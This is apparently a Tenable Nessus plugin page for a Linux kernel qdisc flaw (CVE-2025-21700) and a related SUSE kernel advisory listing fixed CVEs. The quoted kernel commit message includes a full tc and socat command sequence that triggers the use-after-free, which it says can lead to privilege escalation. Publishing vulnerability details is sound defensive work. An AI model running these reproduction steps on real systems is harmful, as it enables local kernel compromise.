The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available.

  - In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of     child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for     privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle     1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr     step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class     add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc     qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add     dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1     root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb     tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent     3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc     qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo     class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4:
    quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc     plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent     1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one     parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12.
    send one packet to plug echo  | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))     step13. send one packet to the grafted fifo echo  | socat -u STDIN     UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo     classid 1:3 tc class delete dev lo classid 1:1 The semantics of replace is for a del/add _on the same     node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could fix     with a more complex approach there could be consequences to expectations so the patch takes the preventive     approach of disallow such config. Joint work with Lion Ackermann <nnamrec@gmail.com> (CVE-2025-21700)

Note that Nessus relies on the presence of the package as reported by the vendor.

The remote SUSE Linux SLES15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2025:0784-1 advisory.

    The SUSE Linux Enterprise 15 SP6 Confidential Computing kernel was updated to receive various security     bugfixes.


    The following security bugs were fixed:

    - CVE-2024-26708: mptcp: fastopen and PM-trigger subflow shutdown can race (bsc#1222672).
    - CVE-2024-44974: mptcp: pm: avoid possible UaF when selecting endp (bsc#1230235).
    - CVE-2024-45009: mptcp: pm: only decrement add_addr_accepted for MPJ req (bsc#1230438).
    - CVE-2024-45010: mptcp: pm: only mark 'subflow' endp as available (bsc#1230439).
    - CVE-2024-50085: mptcp: pm: fix UaF read in mptcp_pm_nl_rm_addr_or_subflow (bsc#1232508).
    - CVE-2024-50185: mptcp: handle consistently DSS corruption (bsc#1233109).
    - CVE-2024-53147: exfat: fix out-of-bounds access of directory entries (bsc#1234857).
    - CVE-2024-56568: iommu/arm-smmu: Defer probe of clients after smmu device bound (bsc#1235032).
    - CVE-2024-56647: net: Fix icmp host relookup triggering ip_rt_bug (bsc#1235435).
    - CVE-2024-56720: bpf, sockmap: Several fixes to bpf_msg_pop_data (bsc#1235592).
    - CVE-2025-21636: sctp: sysctl: plpmtud_probe_interval: avoid using current->nsproxy (bsc#1236113).
    - CVE-2025-21637: sctp: sysctl: udp_port: avoid using current->nsproxy (bsc#1236114).
    - CVE-2025-21638: sctp: sysctl: auth_enable: avoid using current->nsproxy (bsc#1236115).
    - CVE-2025-21639: sctp: sysctl: rto_min/max: avoid using current->nsproxy (bsc#1236122).
    - CVE-2025-21640: sctp: sysctl: cookie_hmac_alg: avoid using current->nsproxy (bsc#1236123).
    - CVE-2025-21647: sched: sch_cake: add bounds checks to host bulk flow fairness counts (bsc#1236133).
    - CVE-2025-21680: pktgen: Avoid out-of-bounds access in get_imix_entries (bsc#1236700).
    - CVE-2025-21687: vfio/platform: check the bounds of read/write syscalls (bsc#1237045).
    - CVE-2025-21692: net: sched: fix ets qdisc OOB Indexing (bsc#1237028).
    - CVE-2025-21700: net: sched: Disallow replacing of child qdisc from one parent to another (bsc#1237159).


Tenable has extracted the preceding description block directly from the SUSE security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

ID	Name	Product	Family	Published	Updated	Severity
231755	Linux Distros Unpatched Vulnerability : CVE-2025-21700	Nessus	Misc.	3/6/2025	3/6/2025	high
232209	SUSE SLES15 Security Update : kernel (SUSE-SU-2025:0784-1)	Nessus	SuSE Local Security Checks	3/6/2025	3/6/2025	high

Detections

Analytics

Plugins Search

high

high